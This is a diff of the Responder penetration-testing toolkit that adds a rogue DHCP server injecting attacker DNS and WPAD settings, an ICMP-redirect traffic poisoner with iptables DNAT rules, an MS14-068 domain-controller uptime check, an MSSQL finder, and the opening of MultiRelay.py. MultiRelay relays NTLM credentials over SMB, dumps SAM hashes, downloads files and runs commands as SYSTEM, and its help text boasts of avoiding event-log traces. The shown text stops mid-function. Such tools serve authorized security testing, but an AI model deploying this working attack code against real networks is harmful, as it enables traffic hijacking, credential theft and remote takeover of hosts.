+print '##     To inject a DNS server/domain/route on a Windows >= Vista and       ##'
+print '##               any linux box, use -R (can be noisy)                      ##'
+print '##                                                                         ##'
+print '##   Use `RespondTo` setting in Responder.conf for in-scope targets only.  ##'
+print '#############################################################################'
+print ''
+print color('[*]', 2, 1), 'Listening for events...'
+
+config = ConfigParser.ConfigParser()
+config.read(os.path.join(BASEDIR,'Responder.conf'))
+RespondTo           = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
+DontRespondTo       = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
+Interface           = options.Interface
+Responder_IP        = FindLocalIP(Interface)
+ROUTERIP            = options.RouterIP
+NETMASK             = options.Netmask
+DHCPSERVER          = Responder_IP
+DNSIP               = options.DNSIP
+DNSIP2              = options.DNSIP2
+DNSNAME             = options.DNSNAME
+WPADSRV             = options.WPAD.strip() + "\\n"
+Spoof               = options.Spoof
+Respond_To_Requests = options.Respond_To_Requests
+
+if Spoof:
+	DHCPSERVER = ROUTERIP
+
+##### IP Header #####
+class IPHead(Packet):
+	fields = OrderedDict([
+		("Version",           "\x45"),
+		("DiffServices",      "\x00"),
+		("TotalLen",          "\x00\x00"),
+		("Ident",             "\x00\x00"),
+		("Flags",             "\x00\x00"),
+		("TTL",               "\x40"),
+		("Protocol",          "\x11"),
+		("Checksum",          "\x00\x00"),
+		("SrcIP",             ""),
+		("DstIP",             ""),
+	])
+
+class UDP(Packet):
+	fields = OrderedDict([
+		("SrcPort",           "\x00\x43"),
+		("DstPort",           "\x00\x44"),
+		("Len",               "\x00\x00"),
+		("Checksum",          "\x00\x00"),
+		("Data",              "\x00\x00"),
+	])
+
+	def calculate(self):
+		self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
+
+class DHCPACK(Packet):
+	fields = OrderedDict([
+		("MessType",          "\x02"),
+		("HdwType",           "\x01"),
+		("HdwLen",            "\x06"),
+		("Hops",              "\x00"),
+		("Tid",               "\x11\x22\x33\x44"),
+		("ElapsedSec",        "\x00\x00"),
+		("BootpFlags",        "\x00\x00"),
+		("ActualClientIP",    "\x00\x00\x00\x00"),
+		("GiveClientIP",      "\x00\x00\x00\x00"),
+		("NextServerIP",      "\x00\x00\x00\x00"),
+		("RelayAgentIP",      "\x00\x00\x00\x00"),
+		("ClientMac",         "\xff\xff\xff\xff\xff\xff"),
+		("ClientMacPadding",  "\x00" *10),
+		("ServerHostname",    "\x00" * 64),
+		("BootFileName",      "\x00" * 128),
+		("MagicCookie",       "\x63\x82\x53\x63"),
+		("DHCPCode",          "\x35"),              #DHCP Message
+		("DHCPCodeLen",       "\x01"),
+		("DHCPOpCode",        "\x05"),              #Msgtype(ACK)
+		("Op54",              "\x36"),
+		("Op54Len",           "\x04"),
+		("Op54Str",           ""),                  #DHCP Server
+		("Op51",              "\x33"),
+		("Op51Len",           "\x04"),
+		("Op51Str",           "\x00\x01\x51\x80"),  #Lease time, 1 day
+		("Op1",               "\x01"),
+		("Op1Len",            "\x04"),
+		("Op1Str",            ""),                  #Netmask
+		("Op15",              "\x0f"),
+		("Op15Len",           "\x0e"),
+		("Op15Str",           ""),                  #DNS Name
+		("Op3",               "\x03"),
+		("Op3Len",            "\x04"),
+		("Op3Str",            ""),                  #Router
+		("Op6",               "\x06"),
+		("Op6Len",            "\x08"),
+		("Op6Str",            ""),                  #DNS Servers
+		("Op252",             "\xfc"),
+		("Op252Len",          "\x04"),
+		("Op252Str",          ""),                  #Wpad Server
+		("Op255",             "\xff"),
+		("Padding",           "\x00"),
+	])
+
+	def calculate(self):
+		self.fields["Op54Str"]  = socket.inet_aton(DHCPSERVER)
+		self.fields["Op1Str"]   = socket.inet_aton(NETMASK)
+		self.fields["Op3Str"]   = socket.inet_aton(ROUTERIP)
+		self.fields["Op6Str"]   = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
+		self.fields["Op15Str"]  = DNSNAME
+		self.fields["Op252Str"] = WPADSRV
+		self.fields["Op15Len"]  = struct.pack(">b",len(str(self.fields["Op15Str"])))
+		self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
+
+class DHCPInformACK(Packet):
+	fields = OrderedDict([
+		("MessType",          "\x02"),
+		("HdwType",           "\x01"),
+		("HdwLen",            "\x06"),
+		("Hops",              "\x00"),
+		("Tid",               "\x11\x22\x33\x44"),
+		("ElapsedSec",        "\x00\x00"),
+		("BootpFlags",        "\x00\x00"),
+		("ActualClientIP",    "\x00\x00\x00\x00"),
+		("GiveClientIP",      "\x00\x00\x00\x00"),
+		("NextServerIP",      "\x00\x00\x00\x00"),
+		("RelayAgentIP",      "\x00\x00\x00\x00"),
+		("ClientMac",         "\xff\xff\xff\xff\xff\xff"),
+		("ClientMacPadding",  "\x00" *10),
+		("ServerHostname",    "\x00" * 64),
+		("BootFileName",      "\x00" * 128),
+		("MagicCookie",       "\x63\x82\x53\x63"),
+		("Op53",              "\x35\x01\x05"),      #Msgtype(ACK)
+		("Op54",              "\x36"),
+		("Op54Len",           "\x04"),
+		("Op54Str",           ""),                  #DHCP Server
+		("Op1",               "\x01"),
+		("Op1Len",            "\x04"),
+		("Op1Str",            ""),                  #Netmask
+		("Op15",              "\x0f"),
+		("Op15Len",           "\x0e"),
+		("Op15Str",           ""),                  #DNS Name
+		("Op3",               "\x03"),
+		("Op3Len",            "\x04"),
+		("Op3Str",            ""),                  #Router
+		("Op6",               "\x06"),
+		("Op6Len",            "\x08"),
+		("Op6Str",            ""),                  #DNS Servers
+		("Op252",             "\xfc"),
+		("Op252Len",          "\x04"),
+		("Op252Str",          ""),                  #Wpad Server.
+		("Op255",             "\xff"),
+	])
+
+	def calculate(self):
+		self.fields["Op54Str"]  = socket.inet_aton(DHCPSERVER)
+		self.fields["Op1Str"]   = socket.inet_aton(NETMASK)
+		self.fields["Op3Str"]   = socket.inet_aton(ROUTERIP)
+		self.fields["Op6Str"]   = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
+		self.fields["Op15Str"]  = DNSNAME
+		self.fields["Op252Str"] = WPADSRV
+		self.fields["Op15Len"]  = struct.pack(">b",len(str(self.fields["Op15Str"])))
+		self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
+
+def SpoofIP(Spoof):
+	return ROUTERIP if Spoof else Responder_IP
+
+def RespondToThisIP(ClientIp):
+	if ClientIp.startswith('127.0.0.'):
+		return False
+	elif RespondTo and ClientIp not in RespondTo:
+		return False
+	elif ClientIp in RespondTo or RespondTo == []:
+		if ClientIp not in DontRespondTo:
+			return True
+	return False
+
+def ParseSrcDSTAddr(data):
+	SrcIP = socket.inet_ntoa(data[0][26:30])
+	DstIP = socket.inet_ntoa(data[0][30:34])
+	SrcPort = struct.unpack('>H',data[0][34:36])[0]
+	DstPort = struct.unpack('>H',data[0][36:38])[0]
+	return SrcIP, SrcPort, DstIP, DstPort
+
+def FindIP(data):
+	IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
+	return ''.join(IP[0:4])
+
+def ParseDHCPCode(data):
+	PTid        = data[4:8]
+	Seconds     = data[8:10]
+	CurrentIP   = socket.inet_ntoa(data[12:16])
+	RequestedIP = socket.inet_ntoa(data[16:20])
+	MacAddr     = data[28:34]
+	MacAddrStr  = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
+	OpCode      = data[242:243]
+	RequestIP   = data[245:249]
+
+	# DHCP Inform
+	if OpCode == "\x08": 
+		IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
+		Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
+								GiveClientIP=socket.inet_aton("0.0.0.0"),
+								NextServerIP=socket.inet_aton("0.0.0.0"),
+								RelayAgentIP=socket.inet_aton("0.0.0.0"),
+								ElapsedSec=Seconds)
+		Packet.calculate()
+		Buffer = UDP(Data = Packet)
+		Buffer.calculate()
+		SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
+		return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
+	elif OpCode == "\x03" and Respond_To_Requests:  # DHCP Request
+		IP = FindIP(data)
+		if IP:
+			IPConv = socket.inet_ntoa(IP)
+			if RespondToThisIP(IPConv):
+				IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
+				Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
+				Packet.calculate()
+				Buffer = UDP(Data = Packet)
+				Buffer.calculate()
+				SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
+				return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
+	elif OpCode == "\x01" and Respond_To_Requests:  # DHCP Discover
+		IP = FindIP(data)
+		if IP:
+			IPConv = socket.inet_ntoa(IP)
+			if RespondToThisIP(IPConv):
+				IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
+				Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
+				Packet.calculate()
+				Buffer = UDP(Data = Packet)
+				Buffer.calculate()
+				SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
+				return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
+
+def SendDHCP(packet,Host):
+	s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+	s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+	s.sendto(packet, Host)
+
+if __name__ == "__main__":
+	s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+	s.bind((Interface, 0x0800))
+
+	while True:
+		try:
+			data = s.recvfrom(65535)
+			if data[0][23:24] == "\x11":  # is udp?
+				SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
+
+				if SrcPort == 67 or DstPort == 67:
+					ret = ParseDHCPCode(data[0][42:])
+					if ret:
+						print text("[DHCP] %s" % ret)
+
+		except KeyboardInterrupt:
+			sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
+

tools/DHCP_Auto.sh

@@ -0,0 +1,63 @@
+#!/bin/bash
+# This file is part of Responder. laurent.gaffie@gmail.com
+#
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+# This script will try to auto-detect network parameters
+# to run the rogue DHCP server, to inject only your IP
+# address as the primary DNS server and WPAD server and
+# leave everything else normal.
+
+if [ -z $1 ]; then
+	echo "usage: $0 <interface>"
+	exit
+fi
+
+if [ $EUID -ne 0 ]; then
+	echo "Must be run as root."
+	exit
+fi
+
+if [ ! -d "/sys/class/net/$1" ]; then
+	echo "Interface does not exist."
+	exit
+fi
+
+INTF=$1
+PATH="$PATH:/sbin"
+IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
+NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
+DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
+DNS1=$IPADDR
+DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
+ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
+WPADSTR="http://$IPADDR/wpad.dat"
+if [ -z "$DOMAIN" ]; then
+	DOMAIN="  "
+fi
+
+echo "Running with parameters:"
+echo "INTERFACE: $INTF"
+echo "IP ADDR: $IPADDR"
+echo "NETMAST: $NETMASK"
+echo "ROUTER IP: $ROUTER"
+echo "DNS1 IP: $DNS1"
+echo "DNS2 IP: $DNS2"
+echo "WPAD: $WPADSTR"
+echo ""
+
+
+echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
+python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

tools/FindSMB2UPTime.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import os
+import datetime
+import struct
+import socket
+
+sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
+from packets import SMB2Header, SMB2Nego, SMB2NegoData
+
+def GetBootTime(data):
+    Filetime = int(struct.unpack('<q',data)[0])
+    t = divmod(Filetime - 116444736000000000, 10000000)
+    time = datetime.datetime.fromtimestamp(t[0])
+    return time, time.strftime('%Y-%m-%d %H:%M:%S')
+
+
+def IsDCVuln(t):
+    Date = datetime.datetime(2014, 11, 17, 0, 30)
+    if t[0] < Date:
+       print "DC is up since:", t[1]
+       print "This DC is vulnerable to MS14-068"
+    print "DC is up since:", t[1]
+
+
+def run(host):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect(host)  
+    s.settimeout(5) 
+
+    Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
+    Nego = SMB2Nego(Data = SMB2NegoData())
+    Nego.calculate()
+
+    Packet = str(Header)+str(Nego)
+    Buffer = struct.pack(">i", len(Packet)) + Packet
+    s.send(Buffer)
+
+    try:
+        data = s.recv(1024)
+        if data[4:5] == "\xff":
+           print "This host doesn't support SMBv2" 
+        if data[4:5] == "\xfe":
+           IsDCVuln(GetBootTime(data[116:124]))
+    except Exception:
+        s.close()
+        raise
+
+if __name__ == "__main__":
+    if len(sys.argv)<=1:
+        sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
+    host = sys.argv[1],445
+    run(host)

tools/FindSQLSrv.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from socket import *
+
+print 'MSSQL Server Finder 0.1'
+
+s = socket(AF_INET,SOCK_DGRAM)
+s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
+s.settimeout(2)
+s.sendto('\x02',('255.255.255.255',1434))
+
+try:
+   while 1:
+      data, address = s.recvfrom(8092)
+      if not data:
+         break
+      else:
+         print "==============================================================="
+         print "Host details:",address[0]
+         print data[2:]
+         print "==============================================================="
+         print ""
+except:
+   pass
+
+

tools/Icmp-Redirect.py

@@ -1,8 +1,7 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
 # the Free Software Foundation, either version 3 of the License, or
@@ -15,60 +14,54 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import sys,socket,struct,optparse,random,pipes
+import socket
+import struct
+import optparse
+import pipes
+import sys
 from socket import *
+sys.path.append('../')
 from odict import OrderedDict
 from random import randrange
 from time import sleep
 from subprocess import call
-from pipes import quote
+from packets import Packet
 
 parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
                                prog=sys.argv[0],
                                )
 parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
-
 parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
-
 parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
-
 parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
-
 parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
-
 parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
-
 parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
-
 options, args = parser.parse_args()
 
 if options.OURIP is None:
-   print "-i mandatory option is missing.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.OriginalGwAddr is None:
-   print "-g mandatory option is missing, please provide the original gateway address.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.VictimIP is None:
-   print "-t mandatory option is missing, please provide a target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.Interface is None:
-   print "-I mandatory option is missing, please provide your network interface.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.ToThisHost is None:
-   print "-r mandatory option is missing, please provide a destination target.\n"
-   parser.print_help()
-   exit(-1)
+    print "-i mandatory option is missing.\n"
+    parser.print_help()
+    exit(-1)
+elif options.OriginalGwAddr is None:
+    print "-g mandatory option is missing, please provide the original gateway address.\n"
+    parser.print_help()
+    exit(-1)
+elif options.VictimIP is None:
+    print "-t mandatory option is missing, please provide a target.\n"
+    parser.print_help()
+    exit(-1)
+elif options.Interface is None:
+    print "-I mandatory option is missing, please provide your network interface.\n"
+    parser.print_help()
+    exit(-1)
+elif options.ToThisHost is None:
+    print "-r mandatory option is missing, please provide a destination target.\n"
+    parser.print_help()
+    exit(-1)
 
 if options.AlternateGwAddr is None:
-   AlternateGwAddr = options.OURIP
+    AlternateGwAddr = options.OURIP
 
 #Setting some vars.
 OURIP = options.OURIP
@@ -80,31 +73,16 @@ ToThisHost2 = options.ToThisHost2
 Interface = options.Interface
 
 def Show_Help(ExtraHelpData):
-   help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
-   help+= ExtraHelpData
-   print help
+    print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
+    print(ExtraHelpData)
 
 MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
 
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
 def GenCheckSum(data):
     s = 0
     for i in range(0, len(data), 2):
         q = ord(data[i]) + (ord(data[i+1]) << 8)
-        f = s+q
+        f = s + q
         s = (f & 0xffff) + (f >> 16)
     return struct.pack("<H",~s & 0xffff)
 
@@ -116,7 +94,6 @@ class EthARP(Packet):
         ("DstMac", "\xff\xff\xff\xff\xff\xff"),
         ("SrcMac", ""),
         ("Type", "\x08\x06" ), #ARP
-
     ])
 
 class ARPWhoHas(Packet):
@@ -130,7 +107,6 @@ class ARPWhoHas(Packet):
         ("SenderIP",  "\x00\xff\x53\x4d"),
         ("DstMac",    "\x00\x00\x00\x00\x00\x00"),
         ("DstIP",     "\x00\x00\x00\x00"),
-
     ])
 
     def calculate(self):
@@ -145,7 +121,6 @@ class Eth2(Packet):
         ("DstMac", ""),
         ("SrcMac", ""),
         ("Type", "\x08\x00" ), #IP
-
     ])
 
 class IPPacket(Packet):
@@ -162,7 +137,6 @@ class IPPacket(Packet):
         ("SrcIP",   ""),
         ("DestIP",     ""),
         ("Data",       ""),
-
     ])
 
     def calculate(self):
@@ -183,13 +157,10 @@ class ICMPRedir(Packet):
         ("CheckSum",   "\x00\x00"),
         ("GwAddr",     ""),
         ("Data",       ""),
-
     ])
 
     def calculate(self):
-        #Set the values
         self.fields["GwAddr"] = inet_aton(OURIP)
-        # Then CheckSum this packet
         CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
         self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
 
@@ -212,15 +183,15 @@ def ReceiveArpFrame(DstAddr):
     Arp.calculate()
     final = str(Eth)+str(Arp)
     try:
-       s.send(final)
-       data = s.recv(1024)
-       DstMac = data[22:28]
-       DestMac = DstMac.encode('hex')
-       PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
-       return PrintMac,DstMac
+        s.send(final)
+        data = s.recv(1024)
+        DstMac = data[22:28]
+        DestMac = DstMac.encode('hex')
+        PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
+        return PrintMac,DstMac
     except:
-       print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
-       exit(1)
+        print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
+        exit(1)
 
 def IcmpRedirectSock(DestinationIP):
     PrintMac,DestMac = ReceiveArpFrame(VictimIP)
@@ -243,12 +214,12 @@ def IcmpRedirectSock(DestinationIP):
 
 def FindWhatToDo(ToThisHost2):
     if ToThisHost2 != None:
-       Show_Help('Hit CRTL-C to kill this script')
-       RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
+        Show_Help('Hit CRTL-C to kill this script')
+        RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
     if ToThisHost2 == None:
-       Show_Help(MoreHelp)
-       IcmpRedirectSock(DestinationIP=ToThisHost)
-       exit()
+        Show_Help(MoreHelp)
+        IcmpRedirectSock(DestinationIP=ToThisHost)
+        exit()
 
 def RunThisInLoop(host, host2, ip):
     dns1 = pipes.quote(host)
@@ -258,10 +229,9 @@ def RunThisInLoop(host, host2, ip):
     call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
     print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
     while True:
-       IcmpRedirectSock(DestinationIP=dns1)
-       IcmpRedirectSock(DestinationIP=dns2)
-       print "[+]Repoisoning the target in 8 minutes..."
-       sleep(480)
+        IcmpRedirectSock(DestinationIP=dns1)
+        IcmpRedirectSock(DestinationIP=dns2)
+        print "[+]Repoisoning the target in 8 minutes..."
+        sleep(480)
 
 FindWhatToDo(ToThisHost2)
-

tools/MultiRelay.py

@@ -0,0 +1,619 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import re
+import os
+import logging
+import optparse
+import time
+from threading import Thread
+from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
+try:
+    from Crypto.Hash import MD5
+except ImportError:
+    print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
+    print "You can install it on debian based os with this command: apt-get install python-crypto"
+    print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
+
+from MultiRelay.RelayMultiPackets import *
+from MultiRelay.RelayMultiCore import *
+
+from SMBFinger.Finger import RunFinger
+sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
+from socket import *
+
+__version__ = "1.2"
+
+def UserCallBack(op, value, dmy, parser):
+    args=[]
+    for arg in parser.rargs:
+        if arg[0] != "-":
+            args.append(arg)
+    if getattr(parser.values, op.dest):
+        args.extend(getattr(parser.values, op.dest))
+    setattr(parser.values, op.dest, args)
+
+parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
+parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
+parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
+parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
+parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
+parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
+
+options, args = parser.parse_args()
+
+if options.TARGET is None:
+    print "\n-t Mandatory option is missing, please provide a target.\n"
+    parser.print_help()
+    exit(-1)
+if options.UserToRelay is None:
+    print "\n-u Mandatory option is missing, please provide a username to relay.\n"
+    parser.print_help()
+    exit(-1)
+if options.ExtraPort is None:
+    options.ExtraPort = 0
+
+OneCommand = options.OneCommand
+Dump = options.Dump
+ExtraPort = options.ExtraPort
+UserToRelay = options.UserToRelay
+Host = options.TARGET, 445
+Cmd = []
+ShellOpen = []
+
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def ShowWelcome():
+     print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1)
+     print color('Version: '+__version__,8,1)
+     print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
+     print 'Usernames to relay (-u) are case sensitive.'
+     print 'To kill this script hit CRTL-C.\n'
+     print 'Use this script in combination with Responder.py for best results.'
+     print 'This tool listen on TCP port 80, 3128 and 445.'
+     print 'Make sure nothing use these ports.\n'
+     print 'For optimal pwnage, launch Responder with only these 2 options:'
+     print '-rv\nRunning psexec style commands can be noisy in the event viewer,'
+     print 'if anyone ever reads it.. If you want to leave no trace in the'
+     print 'event viewer, use Responder\'s built-in commands. They silently'
+     print 'perform the tasks requested, including the hashdump command.'
+     print color('\nRelaying credentials for these users:',8,1)
+     print color(UserToRelay,4,1)
+     print '\n'
+
+
+ShowWelcome()
+
+def ShowHelp():
+     print color('Available commands:',8,0)
+     print color('dump',8,1)+'               -> Extract the SAM database and print hashes.'
+     print color('regdump KEY',8,1)+'        -> Dump an HKLM registry key (eg: regdump SYSTEM)'
+     print color('read Path_To_File',8,1)+'  -> Read a file (eg: read /windows/win.ini)'
+     print color('get  Path_To_File',8,1)+'  -> Download a file (eg: get users/administrator/desktop/password.txt)'
+     print color('help',8,1)+'               -> Print this message.'
+     print color('exit',8,1)+'               -> Exit this shell and return in relay mode.'
+     print '                      If you want to quit type exit and then use CRTL-C\n'
+     print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
+
+Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
+Logs = logging
+Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+
+try:
+    RunFinger(Host[0])
+except:
+    print "The host %s seems to be down or port 445 down."%(Host[0])
+    sys.exit(1)
+
+
+def get_command():
+    global Cmd
+    Cmd = []
+    while any(x in Cmd for x in Cmd) is False:
+       Cmd = [raw_input("C:\\Windows\\system32\\:#")]
+
+#Function used to make sure no connections are accepted while we have an open shell.
+#Used to avoid any possible broken pipe.
+def IsShellOpen():
